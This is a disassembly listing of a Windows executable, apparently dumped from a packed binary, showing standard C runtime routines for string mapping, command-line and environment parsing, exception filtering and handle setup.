push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428054 ; LCMapStringA
jmp loc_423513
; ---------------------------------------------------------------------------
loc_423435: ; CODE XREF: sub_423383+93j
cmp eax, 1
jnz loc_423511
cmp [ebp+arg_18], edi
jnz short loc_42344B
mov eax, dword_4DE0FC
mov [ebp+arg_18], eax
loc_42344B: ; CODE XREF: sub_423383+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_428184 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_423511
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41C2F0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4234A6
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_4234A6: ; CODE XREF: sub_423383+10Ej
cmp [ebp+var_24], edi
jz short loc_423511
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_428184 ; MultiByteToWideChar
test eax, eax
jz short loc_423511
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428050 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_423511
test byte ptr [ebp+arg_4+1], 4
jz short loc_423525
cmp [ebp+arg_14], edi
jz loc_4235A0
cmp esi, [ebp+arg_14]
jg short loc_423511
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428050 ; LCMapStringW
test eax, eax
jnz loc_4235A0
loc_423511: ; CODE XREF: sub_423383+66j
; sub_423383+B5j ...
xor eax, eax
loc_423513: ; CODE XREF: sub_423383+ADj
; sub_423383+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_423525: ; CODE XREF: sub_423383+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C2F0
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_423559
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_423559: ; CODE XREF: sub_423383+1C2j
cmp ebx, edi
jz short loc_423511
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428050 ; LCMapStringW
test eax, eax
jz short loc_423511
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_423580
push edi
push edi
jmp short loc_423586
; ---------------------------------------------------------------------------
loc_423580: ; CODE XREF: sub_423383+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_423586: ; CODE XREF: sub_423383+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_428180 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_423511
loc_4235A0: ; CODE XREF: sub_423383+165j
; sub_423383+188j
mov eax, esi
jmp loc_423513
sub_423383 endp
; =============== S U B R O U T I N E =======================================
sub_4235A7 proc near ; CODE XREF: sub_423383+81p
; sub_426733+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4235C4
loc_4235B7: ; CODE XREF: sub_4235A7+1Bj
cmp byte ptr [eax], 0
jz short loc_4235C4
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4235B7
loc_4235C4: ; CODE XREF: sub_4235A7+Ej
; sub_4235A7+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4235CF
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4235CF: ; CODE XREF: sub_4235A7+21j
mov eax, edx
retn
sub_4235A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4235D2 proc near ; CODE XREF: .packed:0041E216p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_423713
test eax, eax
pop ecx
jz loc_423707
mov ebx, [eax+8]
test ebx, ebx
jz loc_423707
cmp ebx, 5
jnz short loc_423603
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_423710
; ---------------------------------------------------------------------------
loc_423603: ; CODE XREF: sub_4235D2+23j
cmp ebx, 1
jz loc_423702
mov ecx, dword_4DE10C
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_4DE10C, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_4236F2
mov ecx, dword_43F8B0
mov edx, dword_43F8B4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_423652
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43F840h[esi*4]
loc_423649: ; CODE XREF: sub_4235D2+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_423649
loc_423652: ; CODE XREF: sub_4235D2+69j
mov eax, [eax]
mov esi, dword_43F8BC
cmp eax, 0C000008Eh
jnz short loc_42366D
mov dword_43F8BC, 83h
jmp short loc_4236DD
; ---------------------------------------------------------------------------
loc_42366D: ; CODE XREF: sub_4235D2+8Dj
cmp eax, 0C0000090h
jnz short loc_423680
mov dword_43F8BC, 81h
jmp short loc_4236DD
; ---------------------------------------------------------------------------
loc_423680: ; CODE XREF: sub_4235D2+A0j
cmp eax, 0C0000091h
jnz short loc_423693
mov dword_43F8BC, 84h
jmp short loc_4236DD
; ---------------------------------------------------------------------------
loc_423693: ; CODE XREF: sub_4235D2+B3j
cmp eax, 0C0000093h
jnz short loc_4236A6
mov dword_43F8BC, 85h
jmp short loc_4236DD
; ---------------------------------------------------------------------------
loc_4236A6: ; CODE XREF: sub_4235D2+C6j
cmp eax, 0C000008Dh
jnz short loc_4236B9
mov dword_43F8BC, 82h
jmp short loc_4236DD
; ---------------------------------------------------------------------------
loc_4236B9: ; CODE XREF: sub_4235D2+D9j
cmp eax, 0C000008Fh
jnz short loc_4236CC
mov dword_43F8BC, 86h
jmp short loc_4236DD
; ---------------------------------------------------------------------------
loc_4236CC: ; CODE XREF: sub_4235D2+ECj
cmp eax, 0C0000092h
jnz short loc_4236DD
mov dword_43F8BC, 8Ah
loc_4236DD: ; CODE XREF: sub_4235D2+99j
; sub_4235D2+ACj ...
push dword_43F8BC
push 8
call ebx
pop ecx
mov dword_43F8BC, esi
pop ecx
pop esi
jmp short loc_4236FA
; ---------------------------------------------------------------------------
loc_4236F2: ; CODE XREF: sub_4235D2+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_4236FA: ; CODE XREF: sub_4235D2+11Ej
mov eax, [ebp+arg_0]
mov dword_4DE10C, eax
loc_423702: ; CODE XREF: sub_4235D2+34j
or eax, 0FFFFFFFFh
jmp short loc_423710
; ---------------------------------------------------------------------------
loc_423707: ; CODE XREF: sub_4235D2+Fj
; sub_4235D2+1Aj
push [ebp+arg_4]
call dword_42804C ; UnhandledExceptionFilter
loc_423710: ; CODE XREF: sub_4235D2+2Cj
; sub_4235D2+133j
pop ebx
pop ebp
retn
sub_4235D2 endp
; =============== S U B R O U T I N E =======================================
sub_423713 proc near ; CODE XREF: sub_4235D2+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43F8B8
cmp dword_43F838, edx
push esi
mov eax, offset dword_43F838
jz short loc_423740
lea esi, [ecx+ecx*2]
lea esi, ds:43F838h[esi*4]
loc_423735: ; CODE XREF: sub_423713+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_423740
cmp [eax], edx
jnz short loc_423735
loc_423740: ; CODE XREF: sub_423713+16j
; sub_423713+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43F838h[ecx*4]
cmp eax, ecx
jnb short loc_423753
cmp [eax], edx
jz short locret_423755
loc_423753: ; CODE XREF: sub_423713+3Aj
xor eax, eax
locret_423755: ; CODE XREF: sub_423713+3Ej
retn
sub_423713 endp
; =============== S U B R O U T I N E =======================================
sub_423756 proc near ; CODE XREF: .packed:0041E1D8p
cmp dword_4DF6D4, 0
jnz short loc_423764
call sub_420A6D
loc_423764: ; CODE XREF: sub_423756+7j
push esi
mov esi, dword_4DF6CC
mov al, [esi]
cmp al, 22h
jnz short loc_423796
loc_423771: ; CODE XREF: sub_423756+33j
; sub_423756+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_42378E
test al, al
jz short loc_42378E
movzx eax, al
push eax
call sub_42566F
test eax, eax
pop ecx
jz short loc_423771
inc esi
jmp short loc_423771
; ---------------------------------------------------------------------------
loc_42378E: ; CODE XREF: sub_423756+21j
; sub_423756+25j
cmp byte ptr [esi], 22h
jnz short loc_4237A0
loc_423793: ; CODE XREF: sub_423756+52j
inc esi
jmp short loc_4237A0
; ---------------------------------------------------------------------------
loc_423796: ; CODE XREF: sub_423756+19j
cmp al, 20h
jbe short loc_4237A0
loc_42379A: ; CODE XREF: sub_423756+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_42379A
loc_4237A0: ; CODE XREF: sub_423756+3Bj
; sub_423756+3Ej ...
mov al, [esi]
test al, al
jz short loc_4237AA
cmp al, 20h
jbe short loc_423793
loc_4237AA: ; CODE XREF: sub_423756+4Ej
mov eax, esi
pop esi
retn
sub_423756 endp
; =============== S U B R O U T I N E =======================================
sub_4237AE proc near ; CODE XREF: .packed:0041E1C1p
push ebx
xor ebx, ebx
cmp dword_4DF6D4, ebx
push esi
push edi
jnz short loc_4237C0
call sub_420A6D
loc_4237C0: ; CODE XREF: sub_4237AE+Bj
mov esi, dword_4DE0A0
xor edi, edi
loc_4237C8: ; CODE XREF: sub_4237AE+30j
mov al, [esi]
cmp al, bl
jz short loc_4237E0
cmp al, 3Dh
jz short loc_4237D3
inc edi
loc_4237D3: ; CODE XREF: sub_4237AE+22j
push esi
call sub_41B7B0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_4237C8
; ---------------------------------------------------------------------------
loc_4237E0: ; CODE XREF: sub_4237AE+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_41BCA5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DE054, esi
jnz short loc_423802
push 9
call sub_41E229
pop ecx
loc_423802: ; CODE XREF: sub_4237AE+4Aj
mov edi, dword_4DE0A0
cmp [edi], bl
jz short loc_423845
push ebp
loc_42380D: ; CODE XREF: sub_4237AE+94j
push edi
call sub_41B7B0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_42383E
push ebp
call sub_41BCA5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_423831
push 9
call sub_41E229
pop ecx
loc_423831: ; CODE XREF: sub_4237AE+79j
push edi
push dword ptr [esi]
call sub_41C680
pop ecx
add esi, 4
pop ecx
loc_42383E: ; CODE XREF: sub_4237AE+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_42380D
pop ebp
loc_423845: ; CODE XREF: sub_4237AE+5Cj
push dword_4DE0A0
call sub_41B881
pop ecx
mov dword_4DE0A0, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DF6D0, 1
pop ebx
retn
sub_4237AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423867 proc near ; CODE XREF: .packed:0041E1BCp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DF6D4, ebx
push esi
push edi
jnz short loc_42387E
call sub_420A6D
loc_42387E: ; CODE XREF: sub_423867+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call dword_428074 ; GetModuleFileNameA
mov eax, dword_4DF6CC
mov off_4DE064, esi
mov edi, esi
cmp [eax], bl
jz short loc_4238A3
mov edi, eax
loc_4238A3: ; CODE XREF: sub_423867+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_423900
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_41BCA5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_4238D3
push 8
call sub_41E229
pop ecx
loc_4238D3: ; CODE XREF: sub_423867+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_423900
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_4DE04C, esi
pop edi
pop esi
mov dword_4DE048, eax
pop ebx
leave
retn
sub_423867 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423900 proc near ; CODE XREF: sub_423867+47p
; sub_423867+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_42392A
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42392A: ; CODE XREF: sub_423900+20j
cmp byte ptr [eax], 22h
jnz short loc_423973
loc_42392F: ; CODE XREF: sub_423900+58j
; sub_423900+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_423961
test dl, dl
jz short loc_423961
movzx edx, dl
test byte_4DF5A1[edx], 4
jz short loc_423954
inc dword ptr [ecx]
test esi, esi
jz short loc_423954
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423954: ; CODE XREF: sub_423900+46j
; sub_423900+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_42392F
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_42392F
; ---------------------------------------------------------------------------
loc_423961: ; CODE XREF: sub_423900+36j
; sub_423900+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_42396B
and byte ptr [esi], 0
inc esi
loc_42396B: ; CODE XREF: sub_423900+65j
cmp byte ptr [eax], 22h
jnz short loc_4239B6
inc eax
jmp short loc_4239B6
; ---------------------------------------------------------------------------
loc_423973: ; CODE XREF: sub_423900+2Dj
; sub_423900+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_42397E
mov dl, [eax]
mov [esi], dl
inc esi
loc_42397E: ; CODE XREF: sub_423900+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DF5A1[ebx], 4
jz short loc_423999
inc dword ptr [ecx]
test esi, esi
jz short loc_423998
mov bl, [eax]
mov [esi], bl
inc esi
loc_423998: ; CODE XREF: sub_423900+91j
inc eax
loc_423999: ; CODE XREF: sub_423900+8Bj
cmp dl, 20h
jz short loc_4239A7
test dl, dl
jz short loc_4239AB
cmp dl, 9
jnz short loc_423973
loc_4239A7: ; CODE XREF: sub_423900+9Cj
test dl, dl
jnz short loc_4239AE
loc_4239AB: ; CODE XREF: sub_423900+A0j
dec eax
jmp short loc_4239B6
; ---------------------------------------------------------------------------
loc_4239AE: ; CODE XREF: sub_423900+A9j
test esi, esi
jz short loc_4239B6
and byte ptr [esi-1], 0
loc_4239B6: ; CODE XREF: sub_423900+6Ej
; sub_423900+71j ...
and [ebp+arg_10], 0
loc_4239BA: ; CODE XREF: sub_423900+19Ej
cmp byte ptr [eax], 0
jz loc_423AA3
loc_4239C3: ; CODE XREF: sub_423900+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4239CF
cmp dl, 9
jnz short loc_4239D2
loc_4239CF: ; CODE XREF: sub_423900+C8j
inc eax
jmp short loc_4239C3
; ---------------------------------------------------------------------------
loc_4239D2: ; CODE XREF: sub_423900+CDj
cmp byte ptr [eax], 0
jz loc_423AA3
test edi, edi
jz short loc_4239E7
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_4239E7: ; CODE XREF: sub_423900+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_4239EC: ; CODE XREF: sub_423900+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_4239F5: ; CODE XREF: sub_423900+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_4239FE
inc eax
inc ebx
jmp short loc_4239F5
; ---------------------------------------------------------------------------
loc_4239FE: ; CODE XREF: sub_423900+F8j
cmp byte ptr [eax], 22h
jnz short loc_423A2F
test bl, 1
jnz short loc_423A2D
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423A1C
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423A1C
mov eax, edx
jmp short loc_423A1F
; ---------------------------------------------------------------------------
loc_423A1C: ; CODE XREF: sub_423900+10Dj
; sub_423900+116j
mov [ebp+arg_0], edi
loc_423A1F: ; CODE XREF: sub_423900+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423A2D: ; CODE XREF: sub_423900+106j
shr ebx, 1
loc_423A2F: ; CODE XREF: sub_423900+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423A44
inc ebx
loc_423A37: ; CODE XREF: sub_423900+142j
test esi, esi
jz short loc_423A3F
mov byte ptr [esi], 5Ch
inc esi
loc_423A3F: ; CODE XREF: sub_423900+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_423A37
loc_423A44: ; CODE XREF: sub_423900+134j
mov dl, [eax]
test dl, dl
jz short loc_423A94
cmp [ebp+arg_10], 0
jnz short loc_423A5A
cmp dl, 20h
jz short loc_423A94
cmp dl, 9
jz short loc_423A94
loc_423A5A: ; CODE XREF: sub_423900+14Ej
cmp [ebp+arg_0], 0
jz short loc_423A8E
test esi, esi
jz short loc_423A7D
movzx ebx, dl
test byte_4DF5A1[ebx], 4
jz short loc_423A76
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_423A76: ; CODE XREF: sub_423900+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_423A8C
; ---------------------------------------------------------------------------
loc_423A7D: ; CODE XREF: sub_423900+162j
movzx edx, dl
test byte_4DF5A1[edx], 4
jz short loc_423A8C
inc eax
inc dword ptr [ecx]
loc_423A8C: ; CODE XREF: sub_423900+17Bj
; sub_423900+187j
inc dword ptr [ecx]
loc_423A8E: ; CODE XREF: sub_423900+15Ej
inc eax
jmp loc_4239EC
; ---------------------------------------------------------------------------
loc_423A94: ; CODE XREF: sub_423900+148j
; sub_423900+153j ...
test esi, esi
jz short loc_423A9C
and byte ptr [esi], 0
inc esi
loc_423A9C: ; CODE XREF: sub_423900+196j
inc dword ptr [ecx]
jmp loc_4239BA
; ---------------------------------------------------------------------------
loc_423AA3: ; CODE XREF: sub_423900+BDj
; sub_423900+D5j
test edi, edi
jz short loc_423AAA
and dword ptr [edi], 0
loc_423AAA: ; CODE XREF: sub_423900+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_423900 endp
; =============== S U B R O U T I N E =======================================
sub_423AB4 proc near ; CODE XREF: .packed:0041E1B2p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_4DE214
push ebx
push ebp
mov ebp, dword_42803C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_423B02
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_423AE3
mov dword_4DE214, 1
jmp short loc_423B0B
; ---------------------------------------------------------------------------
loc_423AE3: ; CODE XREF: sub_423AB4+21j
call dword_428040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz loc_423BDD
mov dword_4DE214, 2
jmp loc_423B91
; ---------------------------------------------------------------------------
loc_423B02: ; CODE XREF: sub_423AB4+19j
cmp eax, 1
jnz loc_423B8C
loc_423B0B: ; CODE XREF: sub_423AB4+2Dj
cmp esi, ebx
jnz short loc_423B1B
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_423BDD
loc_423B1B: ; CODE XREF: sub_423AB4+59j
cmp [esi], bx
mov eax, esi
jz short loc_423B30
loc_423B22: ; CODE XREF: sub_423AB4+73j
; sub_423AB4+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_423B22
inc eax
inc eax
cmp [eax], bx
jnz short loc_423B22
loc_423B30: ; CODE XREF: sub_423AB4+6Cj
sub eax, esi
mov edi, dword_428180
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_423B81
push ebp
call sub_41BCA5
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_423B81
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_423B7D
push [esp+18h+var_8]
call sub_41B881
pop ecx
mov [esp+18h+var_8], ebx
loc_423B7D: ; CODE XREF: sub_423AB4+B9j
mov ebx, [esp+18h+var_8]
loc_423B81: ; CODE XREF: sub_423AB4+99j
; sub_423AB4+A8j
push esi
call dword_428044 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_423BDF
; ---------------------------------------------------------------------------
loc_423B8C: ; CODE XREF: sub_423AB4+51j
cmp eax, 2
jnz short loc_423BDD
loc_423B91: ; CODE XREF: sub_423AB4+49j
cmp edi, ebx
jnz short loc_423BA1
call dword_428040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz short loc_423BDD
loc_423BA1: ; CODE XREF: sub_423AB4+DFj
cmp [edi], bl
mov eax, edi
jz short loc_423BB1
loc_423BA7: ; CODE XREF: sub_423AB4+F6j
; sub_423AB4+FBj
inc eax
cmp [eax], bl
jnz short loc_423BA7
inc eax
cmp [eax], bl
jnz short loc_423BA7
loc_423BB1: ; CODE XREF: sub_423AB4+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41BCA5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_423BC7
xor esi, esi
jmp short loc_423BD2
; ---------------------------------------------------------------------------
loc_423BC7: ; CODE XREF: sub_423AB4+10Dj
push ebp
push edi
push esi
call near ptr sub_41CAE0
add esp, 0Ch
loc_423BD2: ; CODE XREF: sub_423AB4+111j
push edi
call dword_428048 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_423BDF
; ---------------------------------------------------------------------------
loc_423BDD: ; CODE XREF: sub_423AB4+39j
; sub_423AB4+61j ...
xor eax, eax
loc_423BDF: ; CODE XREF: sub_423AB4+D6j
; sub_423AB4+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_423AB4 endp
; =============== S U B R O U T I N E =======================================
sub_423BE6 proc near ; CODE XREF: .packed:0041E1A2p
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41BCA5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423C06
push 1Bh
call sub_41E229
pop ecx
loc_423C06: ; CODE XREF: sub_423BE6+16j
mov dword_4DE360, esi
mov dword_4DE460, 20h
lea eax, [esi+100h]
loc_423C1C: ; CODE XREF: sub_423BE6+52j
cmp esi, eax
jnb short loc_423C3A
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DE360
add esi, 8
add eax, 100h
jmp short loc_423C1C
; ---------------------------------------------------------------------------
loc_423C3A: ; CODE XREF: sub_423BE6+38j
lea eax, [esp+54h+var_44]
push eax
call dword_4281AC ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_423D16
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_423D16
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_423C70
mov esi, eax
loc_423C70: ; CODE XREF: sub_423BE6+86j
cmp dword_4DE460, esi
jge short loc_423CCA
mov edi, offset dword_4DE364
loc_423C7D: ; CODE XREF: sub_423BE6+DAj
push 100h
call sub_41BCA5
test eax, eax
pop ecx
jz short loc_423CC4
add dword_4DE460, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_423C9B: ; CODE XREF: sub_423BE6+CFj
cmp eax, ecx
jnb short loc_423CB7
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_423C9B
; ---------------------------------------------------------------------------
loc_423CB7: ; CODE XREF: sub_423BE6+B7j
add edi, 4
cmp dword_4DE460, esi
jl short loc_423C7D
jmp short loc_423CCA
; ---------------------------------------------------------------------------
loc_423CC4: ; CODE XREF: sub_423BE6+A4j
mov esi, dword_4DE460
loc_423CCA: ; CODE XREF: sub_423BE6+90j
; sub_423BE6+DCj
xor edi, edi
test esi, esi
jle short loc_423D16
loc_423CD0: ; CODE XREF: sub_423BE6+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423D0D
mov cl, [ebp+0]
test cl, 1
jz short loc_423D0D
test cl, 8
jnz short loc_423CEF
push eax
call dword_428030 ; GetFileType
test eax, eax
jz short loc_423D0D
loc_423CEF: ; CODE XREF: sub_423BE6+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DE360[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423D0D: ; CODE XREF: sub_423BE6+EFj
; sub_423BE6+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_423CD0
loc_423D16: ; CODE XREF: sub_423BE6+65j
; sub_423BE6+71j ...
xor ebx, ebx
loc_423D18: ; CODE XREF: sub_423BE6+195j
mov eax, dword_4DE360
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_423D73
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_423D33
push 0FFFFFFF6h
pop eax
jmp short loc_423D3D
; ---------------------------------------------------------------------------
loc_423D33: ; CODE XREF: sub_423BE6+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423D3D: ; CODE XREF: sub_423BE6+14Bj
push eax
call dword_428034 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_423D62
push edi
call dword_428030 ; GetFileType
test eax, eax
jz short loc_423D62
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423D68
loc_423D62: ; CODE XREF: sub_423BE6+163j
; sub_423BE6+16Ej
or byte ptr [esi+4], 40h
jmp short loc_423D77
; ---------------------------------------------------------------------------
loc_423D68: ; CODE XREF: sub_423BE6+17Aj
cmp eax, 3
jnz short loc_423D77
or byte ptr [esi+4], 8
jmp short loc_423D77
; ---------------------------------------------------------------------------
loc_423D73: ; CODE XREF: sub_423BE6+13Ej
or byte ptr [esi+4], 80h
loc_423D77: ; CODE XREF: sub_423BE6+180j
; sub_423BE6+185j ...
inc ebx
cmp ebx, 3
jl short loc_423D18
push dword_4DE460
call dword_428038 ; SetHandleCount
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_423BE6 endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423D9C proc near ; DATA XREF: .packed:0041E13Do
; sub_42285D+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423E3C
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_423DCF: ; CODE XREF: sub_423D9C+90j
cmp esi, 0FFFFFFFFh
jz short loc_423E35
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_423E23
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_423E23
js short loc_423E2E
mov edi, [ebx+8]
push ebx
call sub_41D344
add esp, 4
